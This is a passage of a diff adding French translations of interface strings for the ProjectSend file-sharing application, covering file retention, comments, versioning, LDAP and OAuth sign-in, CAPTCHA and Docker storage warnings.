account?": "Supprimer le compte ?", + "Delete failed job?": "Supprimer la tâche échouée ?", + "Delete them permanently": "Les supprimer définitivement", + "Delete this comment?": "Supprimer ce commentaire ?", + "Delete this many days after being found": "Supprimer ce nombre de jours après la découverte", + "Delete this many days after expiry": "Supprimer ce nombre de jours après l'expiration", + "Download :name": "Télécharger :name", + "Downloaded by": "Téléchargé par", + "Download history": "Historique des téléchargements", + "Download history for :name": "Historique des téléchargements de :name", + "Duration": "Durée", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Chaque fichier dispose d'un interrupteur « Autoriser les commentaires sur ce fichier » sur sa page de modification. Seuls les fichiers où il est activé acceptent des commentaires.", + "edited": "modifié", + "Editing window (minutes)": "Fenêtre de modification (minutes)", + "Email settings saved.": "Paramètres d'e-mail enregistrés.", + "Error": "Erreur", + "Every download, newest first": "Chaque téléchargement, du plus récent au plus ancien", + "Every download across the installation, newest first": "Chaque téléchargement de l'installation, du plus récent au plus ancien", + "Every recorded action, newest first": "Chaque action enregistrée, de la plus récente à la plus ancienne", + "Expiration": "Expiration", + "Expired :date": "Expiré le :date", + "Expired only": "Expirés uniquement", + "Extension, e.g. pdf": "Extension, par ex. pdf", + "Failed at": "Échec survenu le", + "Failed job deleted.": "Tâche échouée supprimée.", + "Failed jobs": "Tâches échouées", + "Failed to connect: :error": "Échec de la connexion : :error", + "File retention": "Conservation des fichiers", + "File retention settings": "Paramètres de conservation des fichiers", + "Files accessible to :name": "Fichiers accessibles à :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Des fichiers présents sur le disque sans enregistrement correspondant — un téléversement interrompu, une restauration, une intervention manuelle sur le système de fichiers", + "Files that accept comments": "Fichiers qui acceptent les commentaires", + "Filters": "Filtres", + "Folder renamed.": "Dossier renommé.", + "Folders": "Dossiers", + "Grid view": "Vue en grille", + "Hold comments from visitors for approval": "Retenir les commentaires des visiteurs pour approbation", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Durée pendant laquelle une personne peut encore modifier ou supprimer son propre commentaire après publication. Mettez 0 pour ne jamais l'autoriser.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Durée de conservation d'un fichier expiré avant sa suppression définitive. 0 le supprime le jour même de son expiration.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Durée de conservation d'un fichier orphelin avant sa suppression définitive. 0 le supprime le jour même de sa découverte.", + "IP address": "Adresse IP", + "Job queued for retry.": "Tâche remise en file pour une nouvelle tentative.", + "Language: :language": "Langue : :language", + "Last month": "Le mois dernier", + "Last ran": "Dernière exécution", + "Last week": "La semaine dernière", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Laissez vide pour AWS S3. Renseignez ce champ pour utiliser un service compatible S3 tel que MinIO ou Backblaze.", + "Leave empty for a file that never expires.": "Laissez vide pour un fichier qui n'expire jamais.", + "Limit file types uploading to": "Limiter les types de fichiers au téléversement pour", + "List view": "Vue en liste", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Rendre ce dossier public. Chaque fichier qu'il contient — maintenant et plus tard, à tout niveau — devient public également.", + "Message": "Message", + "Moving": "Déplacement en cours", + "Never run": "Jamais exécuté", + "Next cleanup :date": "Prochain nettoyage le :date", + "No accounts match \":search\".": "Aucun compte ne correspond à \":search\".", + "Nobody (no restriction)": "Personne (aucune restriction)", + "No comments yet.": "Aucun commentaire pour l'instant.", + "No expired files.": "Aucun fichier expiré.", + "No extensions added yet.": "Aucune extension ajoutée pour l'instant.", + "No failed jobs.": "Aucune tâche échouée.", + "No files match these filters.": "Aucun fichier ne correspond à ces filtres.", + "None of the selected files could be edited.": "Aucun des fichiers sélectionnés n'a pu être modifié.", + "Nothing is waiting for approval.": "Rien n'est en attente d'approbation.", + "of :count": "sur :count", + "of :quota": "sur :quota", + "on": "le", + "Only the fields you change here are applied — everything else is left as-is.": "Seuls les champs que vous modifiez ici sont appliqués — tout le reste est laissé tel quel.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Seuls les téléversements effectués après l'activation de cet espace de stockage sont concernés. Les fichiers déjà stockés localement y restent et continuent de fonctionner — il n'existe aucune migration entre espaces de stockage.", + "Open public page": "Ouvrir la page publique", + "Optional. Confines uploads to a subfolder within the bucket.": "Facultatif. Confine les téléversements à un sous-dossier du bucket.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "La suppression automatique des orphelins n'opère que sur le stockage local ; elle reste donc désactivée tant que le stockage externe est actif — même si elle avait été activée auparavant.", + "Orphan files": "Fichiers orphelins", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "Pour les comptes cloud, les e-mails sortants transitent par un relais géré de façon centralisée. Vous pouvez toujours choisir l'adresse et le nom d'expéditeur présentés aux destinataires.", + "Page": "Page", + "Path prefix": "Préfixe de chemin", + "Pending": "En attente", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Vérifie régulièrement si le dépôt public de projectsend.org propose une version plus récente et affiche un avis sur le tableau de bord. Rien n'est jamais téléchargé ni appliqué automatiquement.", + "Permanently failed": "Échec définitif", + "Post comment": "Publier le commentaire", + "Preview of :name": "Aperçu de :name", + "Previous month": "Mois précédent", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "Le style d'e-mail classique de ProjectSend — simple et neutre, il s'accorde à n'importe quel thème public ou de portail.", + "ProjectSend :version is available": "ProjectSend :version est disponible", + "Public folder": "Dossier public", + "Published :date": "Publié le :date", + "Queue": "File d'attente", + "Reassign them to another account": "Les réattribuer à un autre compte", + "Region": "Région", + "Remove a category": "Retirer une catégorie", + "Remove categories": "Retirer des catégories", + "Rename folder": "Renommer le dossier", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Requis par la plupart des services compatibles S3 (MinIO, etc.). Laissez désactivé pour AWS S3.", + "Requires Upload files": "Nécessite « Téléverser des fichiers »", + "Retry": "Réessayer", + "Root": "Racine", + "Scheduler": "Planificateur", + "Scheduler settings": "Paramètres du planificateur", + "Search accounts…": "Rechercher des comptes…", + "Search and filter": "Rechercher et filtrer", + "Secret key": "Clé secrète", + "Select files to bulk-edit them": "Sélectionnez des fichiers pour les modifier en lot", + "Sender identity": "Identité de l'expéditeur", + "Set to…": "Définir sur…", + "Share": "Partager", + "Shared with client": "Partagé avec le client", + "Shared with me": "Partagé avec moi", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Partager un dossier partage tout ce qu'il contient, maintenant et par la suite. Gérez le partage depuis la page de modification.", + "Someone commented on a file": "Quelqu'un a commenté un fichier", + "Sort by": "Trier par", + "Storage settings": "Paramètres de stockage", + "Storage settings saved.": "Paramètres de stockage enregistrés.", + "Success: connected to bucket \":bucket\".": "Succès : connexion au bucket \":bucket\" établie.", + "Task": "Tâche", + "Test connection": "Tester la connexion", + "Test result": "Résultat du test", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Ce compte possède :files fichier(s) et :folders dossier(s). Que faut-il en faire ?", + "This cannot be undone.": "Cette action est irréversible.", + "This client has no accessible files yet.": "Ce client n'a encore aucun fichier accessible.", + "This deletion is permanent": "Cette suppression est définitive", + "This file is public because it's inside the public folder \":name\".": "Ce fichier est public car il se trouve dans le dossier public \":name\".", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Ce dossier ne peut pas être supprimé : il contient :count fichier que vous n'avez pas téléversé.|Ce dossier ne peut pas être supprimé : il contient :count fichiers que vous n'avez pas téléversés.", + "This removes it from the failed jobs list without retrying it.": "Cela la retire de la liste des tâches échouées sans la relancer.", + "Total size": "Taille totale", + "To update, run:": "Pour mettre à jour, exécutez :", + "Unavailable while external storage is active": "Indisponible tant que le stockage externe est actif", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "Contrairement à un fichier expiré, un orphelin n'a aucune ligne en base à supprimer en douceur — une fois parti, aucun retour en arrière n'est possible.", + "Unlimited storage": "Stockage illimité", + "Update :count files": "Mettre à jour :count fichiers", + "Uploaded and shared": "Téléversé et partagé", + "Uploaded by client": "Téléversé par le client", + "Uploaded by me": "Téléversé par moi", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Téléversé par le client, ou attribué directement, via un groupe ou via un dossier partagé.", + "Uploading into \":name\".": "Téléversement dans \":name\".", + "Upload settings saved.": "Paramètres de téléversement enregistrés.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Paramètres de téléversement enregistrés. Avertissement : autoriser :extensions peut être dangereux — ne les conservez dans la liste que si vous en mesurez le risque.", + "used": "utilisé", + "Used in the public folder URL.": "Utilisé dans l'URL du dossier public.", + "Use external storage for new uploads": "Utiliser le stockage externe pour les nouveaux téléversements", + "Use path-style addressing": "Utiliser l'adressage par chemin", + "View all downloads (:count)": "Voir tous les téléchargements (:count)", + "View full history (:count)": "Voir l'historique complet (:count)", + "View release notes": "Voir les notes de version", + "View release notes on GitHub": "Voir les notes de version sur GitHub", + "Visitor": "Visiteur", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Les visiteurs non connectés ne peuvent écrire que des commentaires publics ; ceci reste donc sans effet tant que vous n'autorisez pas les commentaires publics ci-dessous.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Ce qu'il advient d'un fichier une fois expiré, ou lorsqu'il apparaît sans propriétaire sur le disque", + "Where": "Où", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Si les tâches planifiées s'exécutent réellement, et quels e-mails en file d'attente n'ont pas pu être envoyés", + "Who can comment on files, and which files accept comments": "Qui peut commenter les fichiers, et quels fichiers acceptent les commentaires", + "Who can see this": "Qui peut voir ceci", + "Who can write a comment": "Qui peut écrire un commentaire", + "Write a comment…": "Écrire un commentaire…", + "You cannot grant permissions your own role does not have: :permissions": "Vous ne pouvez pas accorder des permissions que votre propre rôle ne possède pas : :permissions", + "You need upload permission to create folders": "Vous avez besoin de la permission de téléverser pour créer des dossiers", + "Your comment will be reviewed before it appears.": "Votre commentaire sera examiné avant d'apparaître.", + "Your name": "Votre nom", + "— No change —": "— Aucun changement —", + "Newest first": "Du plus récent au plus ancien", + "Oldest first": "Du plus ancien au plus récent", + "Name (A–Z)": "Nom (A–Z)", + "Name (Z–A)": "Nom (Z–A)", + "Largest first": "Du plus grand au plus petit", + "Smallest first": "Du plus petit au plus grand", + "Transfers": "Transferts", + "Top clients by storage": "Principaux clients par stockage", + "Largest files": "Fichiers les plus volumineux", + "Expired files": "Fichiers expirés", + "A private note. Nobody else can read it, staff included.": "Une note privée. Personne d'autre ne peut la lire, l'équipe comprise.", + "Reply": "Répondre", + "Replying to :name": "Réponse à :name", + "The team working on this file. No client ever sees it.": "L'équipe qui travaille sur ce fichier. Aucun client ne le voit jamais.", + "With :name": "Avec :name", + "Your reply goes to :name only, and to staff.": "Votre réponse est adressée uniquement à :name et à l'équipe.", + "Your reply goes to the same people as the comment above.": "Votre réponse est adressée aux mêmes personnes que le commentaire ci-dessus.", + "Public comments are turned off for this site.": "Les commentaires publics sont désactivés pour ce site.", + "Only a file that is publicly visible can have public comments.": "Seul un fichier visible publiquement peut recevoir des commentaires publics.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "L'équipe et toutes les personnes avec qui ce fichier est partagé. Les clients ne se voient pas entre eux.", + "Everyone above, plus anyone who opens this file without logging in.": "Toutes les personnes ci-dessus, plus quiconque ouvre ce fichier sans être connecté.", + "Not signed in": "Non connecté", + "New comment on \":name\"": "Nouveau commentaire sur \":name\"", + ":author commented on \":name\".": ":author a commenté \":name\".", + ":author commented on \":name\"": ":author a commenté \":name\"", + "Read the comment": "Lire le commentaire", + ":count new comments": ":count nouveaux commentaires", + "There are :count new comments for you:": "Il y a :count nouveaux commentaires pour vous :", + "Someone": "Quelqu'un", + "New comment on a file": "Nouveau commentaire sur un fichier", + "Multiple new comments (digest)": "Plusieurs nouveaux commentaires (résumé)", + "Marked the file \":subject\" as a revision of \":previous\"": "A marqué le fichier \":subject\" comme une révision de \":previous\"", + "Removed the version link from the file \":subject\"": "A retiré le lien de version du fichier \":subject\"", + "A file was marked as a revision of another": "Un fichier a été marqué comme une révision d'un autre", + "A file version link was removed": "Un lien de version a été retiré", + "A newer version of a file I have is available": "Une version plus récente d'un fichier que je possède est disponible", + "A newer version of \":previousName\" is available: :itemName": "Une version plus récente de \":previousName\" est disponible : :itemName", + "A newer version of a file you have is available": "Une version plus récente d'un fichier que vous possédez est disponible", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\" a été remplacé par une version plus récente : \":name\".", + ":count files you have were replaced by newer versions": ":count fichiers que vous possédez ont été remplacés par des versions plus récentes", + "Newer versions of the following :count files are available:": "Des versions plus récentes des :count fichiers suivants sont disponibles :", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Un fichier ne peut pas être une révision de lui-même.", + "That file is already part of this file's version history.": "Ce fichier fait déjà partie de l'historique des versions de ce fichier.", + "That file has already been revised by \":name\". Remove that link first.": "Ce fichier a déjà été révisé par \":name\". Retirez d'abord ce lien.", + "That file has just been revised by another file. Reload and try again.": "Ce fichier vient d'être révisé par un autre fichier. Rechargez la page et réessayez.", + "This version history is too long. Remove an older link first.": "Cet historique de versions est trop long. Retirez d'abord un lien plus ancien.", + "That file can't be used as the previous version.": "Ce fichier ne peut pas servir de version précédente.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Ce fichier est déjà partagé avec d'autres personnes ; il ne peut donc pas être marqué comme une nouvelle version. Demandez à votre interlocuteur de le faire pour vous.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Ce fichier est une nouvelle version de \":name\". Gérez plutôt le partage sur \":name\" — chaque version le suit.", + "This file is a new version of another file, and is shared with the same people as that one.": "Ce fichier est une nouvelle version d'un autre fichier et il est partagé avec les mêmes personnes que celui-ci.", + "Versions": "Versions", + "Mark this file as a newer version of something you uploaded before.": "Marquer ce fichier comme une version plus récente de quelque chose que vous avez téléversé auparavant.", + "This version is outdated": "Cette version est obsolète", + "It was replaced by \":name\".": "Elle a été remplacée par \":name\".", + "This file is a new version of": "Ce fichier est une nouvelle version de", + "Remove link": "Retirer le lien", + "Mark as a new version": "Marquer comme nouvelle version", + "Version history": "Historique des versions", + "Version link removed.": "Lien de version retiré.", + "This file is now marked as a new version of \":name\".": "Ce fichier est désormais marqué comme une nouvelle version de \":name\".", + "Share this file's recipients with the original?": "Reporter les destinataires de ce fichier sur l'original ?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Une nouvelle version est partagée avec les mêmes personnes que l'original. Ces destinataires du présent fichier y seront ajoutés, afin que personne ne perde l'accès :", + "No other files are available to link to.": "Aucun autre fichier n'est disponible pour établir un lien.", + "Shared through \":name\"": "Partagé via \":name\"", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Ce fichier est une nouvelle version de \":name\" ; il est donc partagé avec les mêmes personnes. Modifier qui peut le voir revient à modifier ce fichier-là.", + "Edit sharing on \":name\"": "Modifier le partage de \":name\"", + "You don't have permission to change who that file is shared with.": "Vous n'avez pas la permission de modifier les personnes avec qui ce fichier est partagé.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Ceci est une nouvelle version de \":name\" et est partagé avec les mêmes personnes. Gérez le partage sur ce fichier-là.", + "New version of": "Nouvelle version de", + "Replaced by": "Remplacé par", + "Outdated": "Obsolète", + "New version": "Nouvelle version", + "Replaced by :name": "Remplacé par :name", + "Replaces :name": "Remplace :name", + "There is a newer version of this file": "Il existe une version plus récente de ce fichier", + "This replaces": "Ceci remplace", + "This is a new version of a file I uploaded before": "Ceci est une nouvelle version d'un fichier que j'ai téléversé auparavant", + "Search your files…": "Rechercher dans vos fichiers…", + "You have no earlier files that can be replaced.": "Vous n'avez aucun fichier antérieur pouvant être remplacé.", + "This file will be shared with the same people who have \":name\".": "Ce fichier sera partagé avec les mêmes personnes que celles qui ont \":name\".", + ":name (group)": ":name (groupe)", + "Search files…": "Rechercher des fichiers…", + "Search…": "Rechercher…", + "Searching…": "Recherche en cours…", + "No files match \":search\".": "Aucun fichier ne correspond à \":search\".", + "Nothing matches \":search\".": "Rien ne correspond à \":search\".", + "A client account was converted to staff": "Un compte client a été converti en compte d'équipe", + "A staff account was converted to a client": "Un compte d'équipe a été converti en compte client", + "A client account was created from the directory": "Un compte client a été créé depuis l'annuaire", + "Converted the client account \":subject\" to staff (:role)": "A converti le compte client \":subject\" en compte d'équipe (:role)", + "Converted the staff account \":subject\" to a client": "A converti le compte d'équipe \":subject\" en compte client", + "Created a client account from the directory on first sign-in": "A créé un compte client depuis l'annuaire lors de la première connexion", + "Convert accounts": "Convertir des comptes", + "Convert": "Convertir", + "Convert to client": "Convertir en client", + "Convert to staff": "Convertir en compte d'équipe", + "Convert :name to a client": "Convertir :name en client", + "Convert :name to staff": "Convertir :name en compte d'équipe", + "Client → staff": "Client → équipe", + "Staff → client": "Équipe → client", + "Move an account between staff and clients. Files they uploaded are always kept.": "Faire passer un compte de l'équipe aux clients, ou l'inverse. Les fichiers téléversés sont toujours conservés.", + "They lose access to every staff screen immediately.": "L'accès à tous les écrans de l'équipe est perdu immédiatement.", + "They gain access to the staff screens their role allows.": "L'accès aux écrans de l'équipe autorisés par le rôle est accordé.", + "Will be revoked": "Sera révoqué", + "Will be revoked and cannot be undone": "Sera révoqué, sans possibilité de retour", + "Will be kept": "Sera conservé", + "Nothing": "Rien", + "Nothing to keep": "Rien à conserver", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Reconvertir dans l'autre sens restaure tout ce qui figure sous « Sera conservé ». Cela ne restaure pas ce qui a été révoqué.", + ":files files and :folders folders they uploaded": ":files fichiers et :folders dossiers téléversés par ce compte", + "No accounts match these filters.": "Aucun compte ne correspond à ces filtres.", + "Account converted to a client.": "Compte converti en client.", + "Account converted to staff.": "Compte converti en compte d'équipe.", + "Approve or deny this account request before converting it.": "Approuvez ou refusez cette demande de compte avant de la convertir.", + "You cannot convert your own account.": "Vous ne pouvez pas convertir votre propre compte.", + "New password": "Nouveau mot de passe", + "New password (optional)": "Nouveau mot de passe (facultatif)", + "Leave blank to keep their current password.": "Laissez vide pour conserver le mot de passe actuel.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Ce compte se connecte via votre annuaire. Les comptes d'équipe ne le font jamais : il lui faut donc un mot de passe ici, sans quoi aucune connexion ne sera possible.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Définissez un mot de passe pour ce compte. Il se connecte aujourd'hui via votre annuaire, ce que les comptes d'équipe ne font jamais.", + "Tokens created": "Jetons créés", + "Currently active": "Actuellement actifs", + ":count active": ":count actifs", + "1 permission": "1 permission", + ":count permissions": ":count permissions", + "This token carries no permissions.": "Ce jeton ne porte aucune permission.", + "This account has created API tokens before, but none are live now.": "Ce compte a déjà créé des jetons d'API, mais aucun n'est actif actuellement.", + "This account has never created an API token.": "Ce compte n'a jamais créé de jeton d'API.", + "No longer granted to this account, so it does nothing.": "N'est plus accordé à ce compte, et reste donc sans effet.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Seul :name peut les créer, les modifier ou les révoquer — un administrateur peut les voir, mais pas les gérer.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Ce que ce jeton est autorisé à faire via l'API. Il ne peut jamais en faire plus que :name.", + "LDAP": "LDAP", + "LDAP settings": "Paramètres LDAP", + "LDAP settings saved.": "Paramètres LDAP enregistrés.", + "Directory": "Annuaire", + "Connection": "Connexion", + "Server": "Serveur", + "Base DN": "DN de base", + "Service account DN": "DN du compte de service", + "Service account password": "Mot de passe du compte de service", + "Email attribute": "Attribut e-mail", + "Name attribute": "Attribut nom", + "Additional filter (optional)": "Filtre supplémentaire (facultatif)", + "CA certificate path (optional)": "Chemin du certificat d'autorité (facultatif)", + "None (unencrypted)": "Aucun (non chiffré)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (TLS implicite)", + "Allow clients to sign in with a directory account": "Autoriser les clients à se connecter avec un compte d'annuaire", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Permettre aux clients de se connecter avec leur compte d'annuaire. L'équipe s'authentifie toujours localement.", + "Create an account on first sign-in": "Créer un compte à la première connexion", + "Directory accounts are always created as clients, never as staff.": "Les comptes issus de l'annuaire sont toujours créés en tant que clients, jamais en tant que membres de l'équipe.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Une personne présente dans l'annuaire mais sans compte ici obtient un compte client et est connectée immédiatement.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Une personne présente dans l'annuaire mais sans compte ici obtient un compte client qui attend son approbation dans Demandes de compte.", + "Only people who already have an account here can sign in.": "Seules les personnes disposant déjà d'un compte ici peuvent se connecter.", + "Combined with the address match, to narrow who may sign in.": "Combiné à la correspondance d'adresse, pour restreindre qui peut se connecter.", + "The attribute holding the address people sign in with — usually mail.": "L'attribut contenant l'adresse avec laquelle les personnes se connectent — généralement mail.", + "Where in the tree to look for people.": "L'endroit de l'arborescence où chercher les personnes.", + "Leave blank to search anonymously.": "Laissez vide pour effectuer une recherche anonyme.", + "Stored encrypted, and never shown again.": "Stocké de façon chiffrée, et plus jamais affiché.", + "Stored encrypted. Leave blank to keep the current one.": "Stocké de façon chiffrée. Laissez vide pour conserver l'actuel.", + "For a directory presenting a certificate from your own certificate authority.": "Pour un annuaire présentant un certificat issu de votre propre autorité de certification.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Non chiffré : le mot de passe du compte de service et celui de chaque client transitent en clair sur le réseau.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Lorsque le mot de passe d'un client n'est pas reconnu localement, il est vérifié auprès de l'annuaire. Les comptes d'équipe s'authentifient toujours localement et ne lui sont jamais transmis.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "L'extension PHP LDAP n'est pas installée sur ce serveur ; ces paramètres ne peuvent donc pas prendre effet.", + "The PHP LDAP extension is not installed on this server.": "L'extension PHP LDAP n'est pas installée sur ce serveur.", + "Saves are not required to test — but the test uses the settings as last saved.": "Il n'est pas nécessaire d'enregistrer pour tester — mais le test utilise les paramètres tels qu'ils ont été enregistrés en dernier.", + "Test a sign-in": "Tester une connexion", + "Email address (optional)": "Adresse e-mail (facultatif)", + "Password (optional)": "Mot de passe (facultatif)", + "Connected and bound as the service account.": "Connecté et authentifié en tant que compte de service.", + "Could not connect or bind as the service account: :error": "Impossible de se connecter ou de s'authentifier en tant que compte de service : :error", + "Found a matching entry.": "Une entrée correspondante a été trouvée.", + "No directory entry matched that address under the base DN.": "Aucune entrée d'annuaire ne correspond à cette adresse sous le DN de base.", + "The directory rejected that password.": "L'annuaire a rejeté ce mot de passe.", + "The search failed: :error": "La recherche a échoué : :error", + "The sign-in bind failed: :error": "L'authentification à la connexion a échoué : :error", + "Signed in successfully.": "Connexion réussie.", + "1 item": "1 élément", + ":count items": ":count éléments", + "1 API token": "1 jeton d'API", + ":count API tokens": ":count jetons d'API", + "1 assigned client": "1 client attribué", + ":count assigned clients": ":count clients attribués", + "Managed by 1 staff member": "Géré par 1 membre de l'équipe", + "Managed by :count staff members": "Géré par :count membres de l'équipe", + "1 group membership": "1 adhésion à un groupe", + ":count group memberships": ":count adhésions à des groupes", + "1 file shared with them": "1 fichier partagé avec ce compte", + ":count files shared with them": ":count fichiers partagés avec ce compte", + "Approve these accounts automatically": "Approuver ces comptes automatiquement", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Votre annuaire a déjà établi leur identité : il n'y a donc personne à vérifier. Laissez cette option désactivée pour examiner chaque compte au préalable dans Demandes de compte.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Les clients qui s'inscrivent eux-mêmes sont approuvés automatiquement — ce paramètre est indépendant et ne suit pas cette règle.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Les clients qui s'inscrivent eux-mêmes attendent toujours une approbation — ce paramètre est indépendant et n'y change rien.", + "Container filesystem": "Système de fichiers du conteneur", + "Docker volume": "Volume Docker", + "Files stored on": "Fichiers stockés sur", + "Host directory": "Répertoire de l'hôte", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Cela signifie que docker compose down -v et docker volume prune les suppriment tous deux, et qu'une sauvegarde de votre serveur peut totalement les ignorer.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Ils ne se trouvent sur aucun volume : reconstruire ou recréer ce conteneur supprimera donc définitivement chaque fichier. Déplacez-les vers un répertoire de l'hôte avant de téléverser quoi que ce soit d'autre.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Ils survivent aux mises à niveau, mais résident dans un volume géré par Docker plutôt que dans un répertoire que vous avez choisi.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Ils survivent aux mises à niveau, mais résident dans le volume Docker :volume plutôt que dans un répertoire que vous avez choisi.", + "Uploaded files are inside Docker": "Les fichiers téléversés se trouvent dans Docker", + "Uploaded files are stored inside the container": "Les fichiers téléversés sont stockés dans le conteneur", + "1 more language available": "1 langue supplémentaire disponible", + ":count more languages available": ":count langues supplémentaires disponibles", + ":left of :limit downloads left": ":left téléchargements restants sur :limit", + ":limit downloads per person": ":limit téléchargements par personne", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name se connectera uniquement avec son mot de passe jusqu'à ce qu'il la reconfigure, et recevra un e-mail au sujet de ce changement. Si l'authentification à deux facteurs est obligatoire sur ce site, il lui sera demandé de l'activer à nouveau à sa prochaine connexion.", + ":provider accepted your secret key.": ":provider a accepté votre clé secrète.", + ":provider connected.": ":provider connecté.", + ":provider did not provide an email address, which is required to sign in.": ":provider n'a pas fourni d'adresse e-mail, qui est nécessaire pour se connecter.", + ":provider disconnected.": ":provider déconnecté.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider n'indique jamais si une adresse est vérifiée ; avec cette option activée, il peut donc créer de nouveaux comptes mais jamais se connecter à un compte existant. Le connecter depuis les Paramètres alors que vous êtes déjà connecté fonctionne toujours.", + ":provider rejected your secret key.": ":provider a rejeté votre clé secrète.", + ":provider settings saved.": "Paramètres de :provider enregistrés.", + ":used of :limit downloads used": ":used téléchargements utilisés sur :limit", + "A :provider account was connected": "Un compte :provider a été connecté", + "A :provider account was disconnected": "Un compte :provider a été déconnecté", + "Accounts at :domain cannot sign in with :provider here.": "Les comptes de :domain ne peuvent pas se connecter avec :provider ici.", + "A client account was created from :provider": "Un compte client a été créé à partir de :provider", + "Allowed email domains": "Domaines de messagerie autorisés", + "Allow signing in with :provider": "Autoriser la connexion avec :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Toujours un compte client. Les comptes de l'équipe ne sont créés que par un administrateur.", + "Always available — the application is written in English, so it needs no translation file.": "Toujours disponible : l'application est écrite en anglais, elle n'a donc pas besoin de fichier de traduction.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Un compte utilise déjà cette adresse e-mail, et :provider n'a pas confirmé qu'elle vous appartient. Connectez-vous plutôt avec votre mot de passe et associez :provider depuis vos paramètres.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Une adresse que le fournisseur n'a pas confirmée ne peut jamais être associée à un compte déjà existant ici. Désactiver cette option signifie que quiconque peut s'inscrire chez votre fournisseur avec l'adresse d'une autre personne pourrait se connecter à sa place.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Un administrateur a supprimé l'authentification à deux facteurs de votre compte. Vous pouvez la reconfigurer depuis vos paramètres de sécurité. Contactez votre administrateur si vous ne vous y attendiez pas.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Toute personne pouvant accéder à un fichier voit les catégories qui lui sont attribuées : un client dans son portail, ou quiconque dispose d'un lien public ou partagé. Les clients connectés peuvent aussi filtrer leurs fichiers par n'importe quelle catégorie de cette liste. Seule votre équipe peut les créer, les renommer ou les supprimer.", + "Applies whenever a password is chosen, not when one is used to sign in": "S'applique chaque fois qu'un mot de passe est choisi, pas lorsqu'il est utilisé pour se connecter", + "Approve those accounts automatically": "Approuver ces comptes automatiquement", + "A secret is stored. Leave this blank to keep it.": "Un secret est enregistré. Laissez vide pour le conserver.", + "At least :count characters.": "Au moins :count caractères.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Entre 0.0 (traiter tout le monde comme un robot) et 1.0 (traiter tout le monde comme un humain). La valeur habituelle est 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "Le CAPTCHA est désactivé. Choisissez un fournisseur et saisissez ses clés pour l'activer.", + "CAPTCHA settings saved.": "Paramètres du CAPTCHA enregistrés.", + "Categories are visible outside your team": "Les catégories sont visibles en dehors de votre équipe", + "Change yours": "Changer le vôtre", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never 